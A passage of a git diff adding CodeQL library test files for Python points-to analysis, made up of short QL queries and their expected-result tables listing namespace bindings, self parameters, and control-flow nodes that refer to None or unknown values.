b/python/ql/test/library-tests/PointsTo/new/NameSpace.expected @@ -0,0 +1,191 @@ +| a_simple.py:0 | Module code.a_simple | C | class C | +| a_simple.py:0 | Module code.a_simple | f | Function f | +| a_simple.py:0 | Module code.a_simple | f1 | float 1.0 | +| a_simple.py:0 | Module code.a_simple | func | Function func | +| a_simple.py:0 | Module code.a_simple | i1 | int 0 | +| a_simple.py:0 | Module code.a_simple | multi_loop | Function multi_loop | +| a_simple.py:0 | Module code.a_simple | multi_loop_in_try | Function multi_loop_in_try | +| a_simple.py:0 | Module code.a_simple | s | Tuple | +| a_simple.py:0 | Module code.a_simple | vararg_kwarg | Function vararg_kwarg | +| a_simple.py:0 | Module code.a_simple | with_definition | Function with_definition | +| b_condition.py:0 | Module code.b_condition | double_attr_check | Function double_attr_check | +| b_condition.py:0 | Module code.b_condition | f | Function f | +| b_condition.py:0 | Module code.b_condition | g | Function g | +| b_condition.py:0 | Module code.b_condition | h | Function h | +| b_condition.py:0 | Module code.b_condition | k | Function k | +| b_condition.py:0 | Module code.b_condition | loop | Function loop | +| b_condition.py:0 | Module code.b_condition | not_or_not | Function not_or_not | +| b_condition.py:0 | Module code.b_condition | odasa6261 | Function odasa6261 | +| b_condition.py:0 | Module code.b_condition | split_bool1 | Function split_bool1 | +| c_tests.py:0 | Module code.c_tests | complex_test | Function complex_test | +| c_tests.py:0 | Module code.c_tests | compound | Function compound | +| c_tests.py:0 | Module code.c_tests | f | Function f | +| c_tests.py:0 | Module code.c_tests | h | Function h | +| c_tests.py:0 | Module code.c_tests | others | Function others | +| d_globals.py:0 | Module code.d_globals | D | class D | +| d_globals.py:0 | Module code.d_globals | Ugly | class Ugly | +| d_globals.py:0 | Module code.d_globals | X | class X | +| d_globals.py:0 | Module code.d_globals | assign_global | Function assign_global | +| d_globals.py:0 | Module code.d_globals | dict | int 7 | +| d_globals.py:0 | Module code.d_globals | g1 | NoneType None | +| d_globals.py:0 | Module code.d_globals | g2 | int 102 | +| d_globals.py:0 | Module code.d_globals | g3 | NoneType None | +| d_globals.py:0 | Module code.d_globals | g4 | NoneType None | +| d_globals.py:0 | Module code.d_globals | get_g4 | Function get_g4 | +| d_globals.py:0 | Module code.d_globals | init | Function init | +| d_globals.py:0 | Module code.d_globals | j | Function j | +| d_globals.py:0 | Module code.d_globals | k | Function k | +| d_globals.py:0 | Module code.d_globals | outer | Function outer | +| d_globals.py:0 | Module code.d_globals | redefine | Function redefine | +| d_globals.py:0 | Module code.d_globals | set_g4 | Function set_g4 | +| d_globals.py:0 | Module code.d_globals | set_g4_indirect | Function set_g4_indirect | +| d_globals.py:0 | Module code.d_globals | tuple | builtin-class tuple | +| d_globals.py:0 | Module code.d_globals | use_list_attribute | Function use_list_attribute | +| d_globals.py:0 | Module code.d_globals | x | int 1 | +| d_globals.py:0 | Module code.d_globals | x | int 3 | +| d_globals.py:0 | Module code.d_globals | y | int 1 | +| d_globals.py:0 | Module code.d_globals | y | int 2 | +| d_globals.py:35 | Class Ugly | __init__ | Function __init__ | +| d_globals.py:35 | Class Ugly | meth | Function meth | +| d_globals.py:62 | Class X | y | int 1 | +| d_globals.py:62 | Class X | y | int 2 | +| d_globals.py:118 | Class D | __init__ | Function __init__ | +| d_globals.py:118 | Class D | foo | Function foo | +| g_class_init.py:0 | Module code.g_class_init | C | class C | +| g_class_init.py:0 | Module code.g_class_init | D | class D | +| g_class_init.py:0 | Module code.g_class_init | E | class E | +| g_class_init.py:0 | Module code.g_class_init | Oddities | class Oddities | +| g_class_init.py:0 | Module code.g_class_init | V2 | 'v2' | +| g_class_init.py:0 | Module code.g_class_init | V3 | 'v3' | +| g_class_init.py:3 | Class C | __init__ | Function __init__ | +| g_class_init.py:3 | Class C | _init | Function _init | +| g_class_init.py:3 | Class C | _init2 | Function _init2 | +| g_class_init.py:3 | Class C | method | Function method | +| g_class_init.py:24 | Class Oddities | float | builtin-class float | +| g_class_init.py:24 | Class Oddities | h | Builtin-function hash | +| g_class_init.py:24 | Class Oddities | int | builtin-class int | +| g_class_init.py:24 | Class Oddities | l | Builtin-function len | +| g_class_init.py:32 | Class D | __init__ | Function __init__ | +| g_class_init.py:45 | Class E | __init__ | Function __init__ | +| g_class_init.py:45 | Class E | meth | Function meth | +| h_classes.py:0 | Module code.h_classes | Base | class Base | +| h_classes.py:0 | Module code.h_classes | C | class C | +| h_classes.py:0 | Module code.h_classes | D | class D | +| h_classes.py:0 | Module code.h_classes | Derived1 | class Derived1 | +| h_classes.py:0 | Module code.h_classes | Derived2 | class Derived2 | +| h_classes.py:0 | Module code.h_classes | Derived3 | class Derived3 | +| h_classes.py:0 | Module code.h_classes | f | Function f | +| h_classes.py:0 | Module code.h_classes | k | Function k | +| h_classes.py:0 | Module code.h_classes | sys | Module sys | +| h_classes.py:3 | Class C | __init__ | Function __init__ | +| h_classes.py:3 | Class C | x | 'C_x' | +| h_classes.py:23 | Class Base | __init__ | Function __init__ | +| h_classes.py:48 | Class D | m | Function f | +| h_classes.py:48 | Class D | n | Function n | +| i_imports.py:0 | Module code.i_imports | BytesIO | builtin-class _io.BytesIO | +| i_imports.py:0 | Module code.i_imports | StringIO | builtin-class _io.StringIO | +| i_imports.py:0 | Module code.i_imports | _io | Module _io | +| i_imports.py:0 | Module code.i_imports | a | int 1 | +| i_imports.py:0 | Module code.i_imports | argv | list object | +| i_imports.py:0 | Module code.i_imports | b | int 2 | +| i_imports.py:0 | Module code.i_imports | c | int 3 | +| i_imports.py:0 | Module code.i_imports | code | Module code | +| i_imports.py:0 | Module code.i_imports | io | Module io | +| i_imports.py:0 | Module code.i_imports | module1 | Module code.test_package.module1 | +| i_imports.py:0 | Module code.i_imports | module2 | Module code.test_package.module2 | +| i_imports.py:0 | Module code.i_imports | p | int 1 | +| i_imports.py:0 | Module code.i_imports | q | int 2 | +| i_imports.py:0 | Module code.i_imports | r | Dict | +| i_imports.py:0 | Module code.i_imports | s | NoneType None | +| i_imports.py:0 | Module code.i_imports | sys | Module sys | +| i_imports.py:0 | Module code.i_imports | x | float 1.0 | +| i_imports.py:0 | Module code.i_imports | xyz | Module code.xyz | +| i_imports.py:0 | Module code.i_imports | y | float 2.0 | +| i_imports.py:0 | Module code.i_imports | z | float 3.0 | +| j_convoluted_imports.py:0 | Module code.j_convoluted_imports | C | class C | +| j_convoluted_imports.py:0 | Module code.j_convoluted_imports | module | Function module | +| j_convoluted_imports.py:0 | Module code.j_convoluted_imports | moduleX | Module code.package.moduleX | +| j_convoluted_imports.py:0 | Module code.j_convoluted_imports | x | Module code.package.x | +| j_convoluted_imports.py:9 | Class C | f | Function f | +| j_convoluted_imports.py:9 | Class C | module2 | int 7 | +| k_getsetattr.py:0 | Module code.k_getsetattr | C | class C | +| k_getsetattr.py:0 | Module code.k_getsetattr | k | Function k | +| k_getsetattr.py:4 | Class C | meth1 | Function meth1 | +| k_getsetattr.py:4 | Class C | meth2 | Function meth2 | +| l_calls.py:0 | Module code.l_calls | Owner | class Owner | +| l_calls.py:0 | Module code.l_calls | bar | Function bar | +| l_calls.py:0 | Module code.l_calls | foo | Function foo | +| l_calls.py:12 | Class Owner | cm | classmethod() | +| l_calls.py:12 | Class Owner | cm2 | classmethod() | +| l_calls.py:12 | Class Owner | m | Function m | +| o_no_returns.py:0 | Module code.o_no_returns | bar | Function bar | +| o_no_returns.py:0 | Module code.o_no_returns | fail | Function fail | +| o_no_returns.py:0 | Module code.o_no_returns | foo | Function foo | +| o_no_returns.py:0 | Module code.o_no_returns | sys | Module sys | +| p_decorators.py:0 | Module code.p_decorators | C | class C | +| p_decorators.py:0 | Module code.p_decorators | bar | Function bar | +| p_decorators.py:0 | Module code.p_decorators | complex | Function complex | +| p_decorators.py:0 | Module code.p_decorators | foo | Function foo | +| p_decorators.py:0 | Module code.p_decorators | simple | Function simple | +| p_decorators.py:24 | Class C | cmeth | classmethod() | +| p_decorators.py:24 | Class C | smeth | staticmethod() | +| q_super.py:0 | Module code.q_super | Base1 | class Base1 | +| q_super.py:0 | Module code.q_super | Base2 | class Base2 | +| q_super.py:0 | Module code.q_super | DA | class DA | +| q_super.py:0 | Module code.q_super | DB | class DB | +| q_super.py:0 | Module code.q_super | DD | class DD | +| q_super.py:0 | Module code.q_super | DE | class DE | +| q_super.py:0 | Module code.q_super | Derived1 | class Derived1 | +| q_super.py:0 | Module code.q_super | Derived2 | class Derived2 | +| q_super.py:0 | Module code.q_super | Derived4 | class Derived4 | +| q_super.py:0 | Module code.q_super | Derived5 | class Derived5 | +| q_super.py:0 | Module code.q_super | M | class M | +| q_super.py:0 | Module code.q_super | N | class N | +| q_super.py:0 | Module code.q_super | Wrong1 | class Wrong1 | +| q_super.py:1 | Class Base2 | __init__ | Function __init__ | +| q_super.py:8 | Class Derived4 | __init__ | Function __init__ | +| q_super.py:14 | Class Base1 | meth | Function meth | +| q_super.py:19 | Class Derived1 | meth | Function meth | +| q_super.py:24 | Class Derived2 | meth | Function meth | +| q_super.py:29 | Class Derived5 | meth | Function meth | +| q_super.py:35 | Class Wrong1 | meth | Function meth | +| q_super.py:41 | Class DA | __init__ | Function __init__ | +| q_super.py:46 | Class DB | DC | class DC | +| q_super.py:48 | Class DC | __init__ | Function __init__ | +| q_super.py:55 | Class DD | __init__ | Function __init__ | +| q_super.py:61 | Class DE | DF | class DF | +| q_super.py:63 | Class DF | __init__ | Function __init__ | +| q_super.py:71 | Class M | __init__ | Function __init__ | +| r_regressions.py:0 | Module code.r_regressions | C | class C | +| r_regressions.py:0 | Module code.r_regressions | Queue | class Queue | +| r_regressions.py:0 | Module code.r_regressions | TestFirst | class TestFirst | +| r_regressions.py:0 | Module code.r_regressions | _names | tuple object | +| r_regressions.py:0 | Module code.r_regressions | deco | Function deco | +| r_regressions.py:0 | Module code.r_regressions | f | Function f | +| r_regressions.py:0 | Module code.r_regressions | fail | Function fail | +| r_regressions.py:0 | Module code.r_regressions | find_library | Function find_library | +| r_regressions.py:0 | Module code.r_regressions | method_decorator | Function method_decorator | +| r_regressions.py:0 | Module code.r_regressions | sys | Module sys | +| r_regressions.py:0 | Module code.r_regressions | t | Module time | +| r_regressions.py:5 | Class Queue | __init__ | Function __init__ | +| r_regressions.py:5 | Class Queue | _after_fork | Function _after_fork | +| r_regressions.py:5 | Class Queue | close | Function close | +| r_regressions.py:49 | Class C | fail | Function fail | +| r_regressions.py:86 | Class TestFirst | method | Function method | +| s_scopes.py:0 | Module code.s_scopes | C2 | class C2 | +| s_scopes.py:0 | Module code.s_scopes | f | bool True | +| s_scopes.py:0 | Module code.s_scopes | f | builtin-class float | +| s_scopes.py:0 | Module code.s_scopes | float | bool True | +| s_scopes.py:0 | Module code.s_scopes | i | builtin-class int | +| s_scopes.py:7 | Class C2 | f1 | bool True | +| s_scopes.py:7 | Class C2 | f1 | builtin-class float | +| s_scopes.py:7 | Class C2 | f2 | NoneType None | +| s_scopes.py:7 | Class C2 | f2 | bool True | +| s_scopes.py:7 | Class C2 | f2 | builtin-class float | +| s_scopes.py:7 | Class C2 | float | NoneType None | +| s_scopes.py:7 | Class C2 | i1 | builtin-class int | +| s_scopes.py:7 | Class C2 | i2 | int 0 | +| s_scopes.py:7 | Class C2 | int | int 0 | +| s_scopes.py:7 | Class C2 | s | builtin-class str | +| s_scopes.py:7 | Class C2 | s | float 1.0 | +| s_scopes.py:7 | Class C2 | str | float 1.0 | diff --git a/python/ql/test/library-tests/PointsTo/new/NameSpace.ql b/python/ql/test/library-tests/PointsTo/new/NameSpace.ql new file mode 100644 index 00000000000..4e30796dc0b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/NameSpace.ql @@ -0,0 +1,18 @@ +import python +import Util + +from Scope s, string name, Object val +where name != "__name__" and +( + exists(ModuleObject m | + m.getModule() = s and + m.attributeRefersTo(name, val, _) + ) + or + exists(ClassObject cls | + cls.getPyClass() = s and + cls.declaredAttribute(name) = val + ) +) + +select locate(s.getLocation(), "abcdghijklopqrs"), s.toString(), name, repr(val) \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/Parameters.expected b/python/ql/test/library-tests/PointsTo/new/Parameters.expected new file mode 100644 index 00000000000..69870516007 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Parameters.expected @@ -0,0 +1,8 @@ +| g_class_init.py:5 | Essa node definition | true | +| g_class_init.py:9 | Essa node definition | true | +| g_class_init.py:13 | Essa node definition | true | +| g_class_init.py:16 | Essa node definition | true | +| g_class_init.py:34 | Essa node definition | true | +| g_class_init.py:46 | Essa node definition | false | +| g_class_init.py:46 | Essa node definition | true | +| g_class_init.py:52 | Essa node definition | true | diff --git a/python/ql/test/library-tests/PointsTo/new/Parameters.ql b/python/ql/test/library-tests/PointsTo/new/Parameters.ql new file mode 100644 index 00000000000..e3a76f9dc70 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Parameters.ql @@ -0,0 +1,10 @@ + +import python + +import Util + +from ParameterDefinition param, boolean self +where +if param.isSelf() then self = true else self = false + +select locate(param.getLocation(), "g"), param.toString(), self diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToNone.expected b/python/ql/test/library-tests/PointsTo/new/PointsToNone.expected new file mode 100644 index 00000000000..f5f838edd8a --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToNone.expected @@ -0,0 +1,98 @@ +| a_simple.py:19 | ControlFlowNode for None | 19 | +| a_simple.py:19 | ControlFlowNode for x | 19 | +| b_condition.py:5 | ControlFlowNode for IfExp | 5 | +| b_condition.py:5 | ControlFlowNode for None | 5 | +| b_condition.py:5 | ControlFlowNode for x | 5 | +| b_condition.py:7 | ControlFlowNode for None | 7 | +| b_condition.py:7 | ControlFlowNode for x | 5 | +| b_condition.py:11 | ControlFlowNode for IfExp | 11 | +| b_condition.py:11 | ControlFlowNode for None | 11 | +| b_condition.py:11 | ControlFlowNode for x | 11 | +| b_condition.py:13 | ControlFlowNode for None | 13 | +| b_condition.py:13 | ControlFlowNode for x | 11 | +| b_condition.py:15 | ControlFlowNode for x | 11 | +| b_condition.py:17 | ControlFlowNode for IfExp | 17 | +| b_condition.py:17 | ControlFlowNode for None | 17 | +| b_condition.py:17 | ControlFlowNode for x | 17 | +| b_condition.py:19 | ControlFlowNode for x | 17 | +| b_condition.py:20 | ControlFlowNode for None | 20 | +| b_condition.py:20 | ControlFlowNode for x | 20 | +| b_condition.py:21 | ControlFlowNode for x | 20 | +| b_condition.py:23 | ControlFlowNode for IfExp | 23 | +| b_condition.py:23 | ControlFlowNode for None | 23 | +| b_condition.py:23 | ControlFlowNode for x | 23 | +| b_condition.py:25 | ControlFlowNode for x | 23 | +| b_condition.py:42 | ControlFlowNode for None | 42 | +| b_condition.py:87 | ControlFlowNode for None | 87 | +| b_condition.py:88 | ControlFlowNode for x | 87 | +| b_condition.py:88 | ControlFlowNode for y | 87 | +| b_condition.py:90 | ControlFlowNode for x | 87 | +| b_condition.py:90 | ControlFlowNode for y | 87 | +| b_condition.py:92 | ControlFlowNode for x | 87 | +| b_condition.py:93 | ControlFlowNode for y | 87 | +| b_condition.py:96 | ControlFlowNode for y | 87 | +| b_condition.py:97 | ControlFlowNode for x | 87 | +| c_tests.py:5 | ControlFlowNode for IfExp | 5 | +| c_tests.py:5 | ControlFlowNode for None | 5 | +| c_tests.py:5 | ControlFlowNode for x | 5 | +| c_tests.py:7 | ControlFlowNode for None | 7 | +| c_tests.py:7 | ControlFlowNode for x | 5 | +| c_tests.py:32 | ControlFlowNode for Attribute | 32 | +| c_tests.py:32 | ControlFlowNode for IfExp | 32 | +| c_tests.py:32 | ControlFlowNode for None | 32 | +| c_tests.py:34 | ControlFlowNode for Attribute | 32 | +| c_tests.py:34 | ControlFlowNode for None | 34 | +| c_tests.py:90 | ControlFlowNode for IfExp | 90 | +| c_tests.py:90 | ControlFlowNode for None | 90 | +| c_tests.py:90 | ControlFlowNode for x | 90 | +| c_tests.py:91 | ControlFlowNode for x | 90 | +| c_tests.py:94 | ControlFlowNode for IfExp | 94 | +| c_tests.py:94 | ControlFlowNode for None | 94 | +| c_tests.py:94 | ControlFlowNode for x | 94 | +| c_tests.py:95 | ControlFlowNode for x | 94 | +| d_globals.py:14 | ControlFlowNode for None | 14 | +| d_globals.py:14 | ControlFlowNode for g1 | 14 | +| d_globals.py:23 | ControlFlowNode for None | 23 | +| d_globals.py:23 | ControlFlowNode for g2 | 23 | +| d_globals.py:29 | ControlFlowNode for init() | 25 | +| d_globals.py:33 | ControlFlowNode for None | 33 | +| d_globals.py:33 | ControlFlowNode for g3 | 33 | +| d_globals.py:66 | ControlFlowNode for g3 | 33 | +| d_globals.py:73 | ControlFlowNode for None | 73 | +| d_globals.py:73 | ControlFlowNode for g4 | 73 | +| d_globals.py:76 | ControlFlowNode for g4 | 73 | +| d_globals.py:77 | ControlFlowNode for set_g4() | 80 | +| d_globals.py:81 | ControlFlowNode for set_g4_indirect() | 83 | +| d_globals.py:128 | ControlFlowNode for Attribute() | 128 | +| g_class_init.py:6 | ControlFlowNode for Attribute() | 9 | +| g_class_init.py:11 | ControlFlowNode for Attribute() | 13 | +| i_imports.py:38 | ControlFlowNode for Attribute() | 24 | +| k_getsetattr.py:7 | ControlFlowNode for setattr() | 7 | +| k_getsetattr.py:8 | ControlFlowNode for setattr() | 8 | +| k_getsetattr.py:13 | ControlFlowNode for setattr() | 13 | +| k_getsetattr.py:14 | ControlFlowNode for setattr() | 14 | +| k_getsetattr.py:15 | ControlFlowNode for Attribute() | 6 | +| l_calls.py:4 | ControlFlowNode for Attribute() | 4 | +| l_calls.py:9 | ControlFlowNode for foo() | 4 | +| m_attributes.py:12 | ControlFlowNode for Attribute() | 8 | +| m_attributes.py:13 | ControlFlowNode for Attribute() | 8 | +| o_no_returns.py:7 | ControlFlowNode for fail() | 10 | +| o_no_returns.py:15 | ControlFlowNode for bar() | 5 | +| o_no_returns.py:21 | ControlFlowNode for bar() | 5 | +| q_super.py:12 | ControlFlowNode for Attribute() | 3 | +| q_super.py:52 | ControlFlowNode for Attribute() | 43 | +| q_super.py:59 | ControlFlowNode for Attribute() | 43 | +| q_super.py:66 | ControlFlowNode for Attribute() | 43 | +| r_regressions.py:9 | ControlFlowNode for Attribute() | 11 | +| r_regressions.py:13 | ControlFlowNode for Attribute | 13 | +| r_regressions.py:13 | ControlFlowNode for None | 13 | +| r_regressions.py:20 | ControlFlowNode for Attribute | 13 | +| r_regressions.py:20 | ControlFlowNode for close | 13 | +| r_regressions.py:21 | ControlFlowNode for close | 13 | +| r_regressions.py:22 | ControlFlowNode for Attribute | 22 | +| r_regressions.py:22 | ControlFlowNode for None | 22 | +| r_regressions.py:27 | ControlFlowNode for None | 27 | +| r_regressions.py:31 | ControlFlowNode for y | 27 | +| r_regressions.py:33 | ControlFlowNode for y | 27 | +| r_regressions.py:52 | ControlFlowNode for fail() | 46 | +| r_regressions.py:73 | ControlFlowNode for setattr() | 73 | diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToNone.ql b/python/ql/test/library-tests/PointsTo/new/PointsToNone.ql new file mode 100644 index 00000000000..3bebd98bff1 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToNone.ql @@ -0,0 +1,9 @@ +import python +import Util + +from ControlFlowNode f, ControlFlowNode x + +where +f.refersTo(theNoneObject(), _, x) + +select locate(f.getLocation(), "abcdghijklmopqr"), f.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.expected b/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.expected new file mode 100644 index 00000000000..0529792ac07 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.expected @@ -0,0 +1,227 @@ +| a_simple.py:15 | ControlFlowNode for t | 14 | +| a_simple.py:16 | ControlFlowNode for d | 14 | +| a_simple.py:20 | ControlFlowNode for seq | 18 | +| a_simple.py:24 | ControlFlowNode for x | 23 | +| a_simple.py:29 | ControlFlowNode for x | 27 | +| a_simple.py:35 | ControlFlowNode for Subscript | 35 | +| a_simple.py:35 | ControlFlowNode for args | 34 | +| a_simple.py:36 | ControlFlowNode for Subscript | 36 | +| a_simple.py:36 | ControlFlowNode for kwargs | 34 | +| b_condition.py:5 | ControlFlowNode for IfExp | 5 | +| b_condition.py:5 | ControlFlowNode for cond | 5 | +| b_condition.py:5 | ControlFlowNode for unknown | 5 | +| b_condition.py:5 | ControlFlowNode for unknown() | 5 | +| b_condition.py:5 | ControlFlowNode for x | 5 | +| b_condition.py:7 | ControlFlowNode for x | 5 | +| b_condition.py:9 | ControlFlowNode for use | 9 | +| b_condition.py:9 | ControlFlowNode for use() | 9 | +| b_condition.py:9 | ControlFlowNode for x | 5 | +| b_condition.py:11 | ControlFlowNode for IfExp | 11 | +| b_condition.py:11 | ControlFlowNode for cond | 11 | +| b_condition.py:11 | ControlFlowNode for unknown | 11 | +| b_condition.py:11 | ControlFlowNode for unknown() | 11 | +| b_condition.py:11 | ControlFlowNode for x | 11 | +| b_condition.py:13 | ControlFlowNode for x | 11 | +| b_condition.py:15 | ControlFlowNode for use | 15 | +| b_condition.py:15 | ControlFlowNode for use() | 15 | +| b_condition.py:15 | ControlFlowNode for x | 11 | +| b_condition.py:17 | ControlFlowNode for IfExp | 17 | +| b_condition.py:17 | ControlFlowNode for cond | 17 | +| b_condition.py:17 | ControlFlowNode for unknown | 17 | +| b_condition.py:17 | ControlFlowNode for unknown() | 17 | +| b_condition.py:17 | ControlFlowNode for x | 17 | +| b_condition.py:19 | ControlFlowNode for x | 17 | +| b_condition.py:21 | ControlFlowNode for use | 21 | +| b_condition.py:21 | ControlFlowNode for use() | 21 | +| b_condition.py:21 | ControlFlowNode for x | 17 | +| b_condition.py:23 | ControlFlowNode for IfExp | 23 | +| b_condition.py:23 | ControlFlowNode for cond | 23 | +| b_condition.py:23 | ControlFlowNode for unknown | 23 | +| b_condition.py:23 | ControlFlowNode for unknown() | 23 | +| b_condition.py:23 | ControlFlowNode for x | 23 | +| b_condition.py:25 | ControlFlowNode for IfExp | 23 | +| b_condition.py:25 | ControlFlowNode for x | 23 | +| b_condition.py:26 | ControlFlowNode for use | 26 | +| b_condition.py:26 | ControlFlowNode for use() | 26 | +| b_condition.py:26 | ControlFlowNode for x | 23 | +| b_condition.py:27 | ControlFlowNode for unknown | 27 | +| b_condition.py:27 | ControlFlowNode for unknown() | 27 | +| b_condition.py:29 | ControlFlowNode for use | 29 | +| b_condition.py:29 | ControlFlowNode for use() | 29 | +| b_condition.py:29 | ControlFlowNode for x | 23 | +| b_condition.py:31 | ControlFlowNode for IfExp | 31 | +| b_condition.py:31 | ControlFlowNode for cond | 31 | +| b_condition.py:31 | ControlFlowNode for unknown | 31 | +| b_condition.py:31 | ControlFlowNode for unknown() | 31 | +| b_condition.py:31 | ControlFlowNode for x | 31 | +| b_condition.py:32 | ControlFlowNode for x | 31 | +| b_condition.py:34 | ControlFlowNode for use | 34 | +| b_condition.py:34 | ControlFlowNode for use() | 34 | +| b_condition.py:34 | ControlFlowNode for x | 31 | +| b_condition.py:36 | ControlFlowNode for x | 31 | +| b_condition.py:37 | ControlFlowNode for use | 37 | +| b_condition.py:37 | ControlFlowNode for use() | 37 | +| b_condition.py:37 | ControlFlowNode for x | 31 | +| b_condition.py:39 | ControlFlowNode for thing | 39 | +| b_condition.py:39 | ControlFlowNode for thing() | 39 | +| b_condition.py:39 | ControlFlowNode for v2 | 39 | +| b_condition.py:41 | ControlFlowNode for Attribute | 39 | +| b_condition.py:41 | ControlFlowNode for v2 | 39 | +| b_condition.py:42 | ControlFlowNode for Attribute | 39 | +| b_condition.py:42 | ControlFlowNode for v2 | 39 | +| b_condition.py:43 | ControlFlowNode for Attribute | 39 | +| b_condition.py:43 | ControlFlowNode for use | 43 | +| b_condition.py:43 | ControlFlowNode for use() | 43 | +| b_condition.py:43 | ControlFlowNode for v2 | 39 | +| b_condition.py:44 | ControlFlowNode for Attribute | 39 | +| b_condition.py:44 | ControlFlowNode for use | 44 | +| b_condition.py:44 | ControlFlowNode for use() | 44 | +| b_condition.py:44 | ControlFlowNode for v2 | 39 | +| b_condition.py:51 | ControlFlowNode for x | 50 | +| b_condition.py:52 | ControlFlowNode for x | 50 | +| b_condition.py:56 | ControlFlowNode for seq | 55 | +| b_condition.py:57 | ControlFlowNode for v | 56 | +| b_condition.py:58 | ControlFlowNode for use | 58 | +| b_condition.py:58 | ControlFlowNode for use() | 58 | +| b_condition.py:58 | ControlFlowNode for v | 56 | +| b_condition.py:62 | ControlFlowNode for Attribute | 61 | +| b_condition.py:62 | ControlFlowNode for x | 61 | +| b_condition.py:64 | ControlFlowNode for y | 61 | +| b_condition.py:65 | ControlFlowNode for Attribute | 61 | +| b_condition.py:65 | ControlFlowNode for x | 61 | +| b_condition.py:66 | ControlFlowNode for Attribute | 61 | +| b_condition.py:66 | ControlFlowNode for seq | 66 | +| b_condition.py:66 | ControlFlowNode for x | 61 | +| b_condition.py:70 | ControlFlowNode for IfExp | 70 | +| b_condition.py:70 | ControlFlowNode for b | 70 | +| b_condition.py:70 | ControlFlowNode for cond | 70 | +| b_condition.py:70 | ControlFlowNode for unknown | 70 | +| b_condition.py:70 | ControlFlowNode for unknown() | 70 | +| b_condition.py:71 | ControlFlowNode for b | 70 | +| b_condition.py:73 | ControlFlowNode for b | 70 | +| b_condition.py:79 | ControlFlowNode for use | 79 | +| b_condition.py:79 | ControlFlowNode for use() | 79 | +| b_condition.py:82 | ControlFlowNode for foo | 81 | +| b_condition.py:88 | ControlFlowNode for x | 87 | +| b_condition.py:88 | ControlFlowNode for y | 87 | +| b_condition.py:90 | ControlFlowNode for x | 87 | +| b_condition.py:90 | ControlFlowNode for y | 87 | +| b_condition.py:93 | ControlFlowNode for use | 93 | +| b_condition.py:93 | ControlFlowNode for use() | 93 | +| b_condition.py:93 | ControlFlowNode for y | 87 | +| b_condition.py:95 | ControlFlowNode for use | 95 | +| b_condition.py:95 | ControlFlowNode for use() | 95 | +| b_condition.py:95 | ControlFlowNode for y | 87 | +| b_condition.py:96 | ControlFlowNode for y | 87 | +| b_condition.py:97 | ControlFlowNode for use | 97 | +| b_condition.py:97 | ControlFlowNode for use() | 97 | +| b_condition.py:99 | ControlFlowNode for use | 99 | +| b_condition.py:99 | ControlFlowNode for use() | 99 | +| b_condition.py:102 | ControlFlowNode for a | 101 | +| b_condition.py:104 | ControlFlowNode for a | 101 | +| b_condition.py:105 | ControlFlowNode for Subscript | 105 | +| b_condition.py:105 | ControlFlowNode for a | 101 | +| c_tests.py:5 | ControlFlowNode for IfExp | 5 | +| c_tests.py:5 | ControlFlowNode for cond | 5 | +| c_tests.py:5 | ControlFlowNode for unknown | 5 | +| c_tests.py:5 | ControlFlowNode for unknown() | 5 | +| c_tests.py:5 | ControlFlowNode for x | 5 | +| c_tests.py:7 | ControlFlowNode for x | 5 | +| c_tests.py:10 | ControlFlowNode for cond | 10 | +| c_tests.py:15 | ControlFlowNode for cond | 15 | +| c_tests.py:21 | ControlFlowNode for cond | 21 | +| c_tests.py:21 | ControlFlowNode for unknown | 21 | +| c_tests.py:21 | ControlFlowNode for unknown() | 21 | +| c_tests.py:32 | ControlFlowNode for Attribute | 4 | +| c_tests.py:32 | ControlFlowNode for Attribute | 32 | +| c_tests.py:32 | ControlFlowNode for IfExp | 32 | +| c_tests.py:32 | ControlFlowNode for cond | 32 | +| c_tests.py:32 | ControlFlowNode for unknown | 32 | +| c_tests.py:32 | ControlFlowNode for unknown() | 32 | +| c_tests.py:32 | ControlFlowNode for y | 4 | +| c_tests.py:34 | ControlFlowNode for Attribute | 4 | +| c_tests.py:34 | ControlFlowNode for Attribute | 32 | +| c_tests.py:34 | ControlFlowNode for y | 4 | +| c_tests.py:37 | ControlFlowNode for Attribute | 4 | +| c_tests.py:37 | ControlFlowNode for cond | 37 | +| c_tests.py:37 | ControlFlowNode for y | 4 | +| c_tests.py:39 | ControlFlowNode for Attribute | 4 | +| c_tests.py:39 | ControlFlowNode for y | 4 | +| c_tests.py:42 | ControlFlowNode for Attribute | 4 | +| c_tests.py:42 | ControlFlowNode for cond | 42 | +| c_tests.py:42 | ControlFlowNode for y | 4 | +| c_tests.py:44 | ControlFlowNode for Attribute | 4 | +| c_tests.py:44 | ControlFlowNode for y | 4 | +| c_tests.py:48 | ControlFlowNode for Attribute | 4 | +| c_tests.py:48 | ControlFlowNode for cond | 48 | +| c_tests.py:48 | ControlFlowNode for unknown | 48 | +| c_tests.py:48 | ControlFlowNode for unknown() | 48 | +| c_tests.py:48 | ControlFlowNode for y | 4 | +| c_tests.py:50 | ControlFlowNode for Attribute | 4 | +| c_tests.py:50 | ControlFlowNode for y | 4 | +| c_tests.py:53 | ControlFlowNode for Attribute | 4 | +| c_tests.py:53 | ControlFlowNode for y | 4 | +| c_tests.py:58 | ControlFlowNode for cond | 58 | +| c_tests.py:63 | ControlFlowNode for cond | 63 | +| c_tests.py:73 | ControlFlowNode for x | 71 | +| c_tests.py:73 | ControlFlowNode for y | 71 | +| c_tests.py:74 | ControlFlowNode for x | 71 | +| c_tests.py:74 | ControlFlowNode for y | 71 | +| c_tests.py:76 | ControlFlowNode for x | 71 | +| c_tests.py:76 | ControlFlowNode for y | 71 | +| c_tests.py:77 | ControlFlowNode for x | 71 | +| c_tests.py:77 | ControlFlowNode for y | 71 | +| c_tests.py:80 | ControlFlowNode for IfExp | 80 | +| c_tests.py:80 | ControlFlowNode for b | 80 | +| c_tests.py:80 | ControlFlowNode for cond | 80 | +| c_tests.py:80 | ControlFlowNode for unknown | 80 | +| c_tests.py:80 | ControlFlowNode for unknown() | 80 | +| c_tests.py:81 | ControlFlowNode for b | 80 | +| c_tests.py:83 | 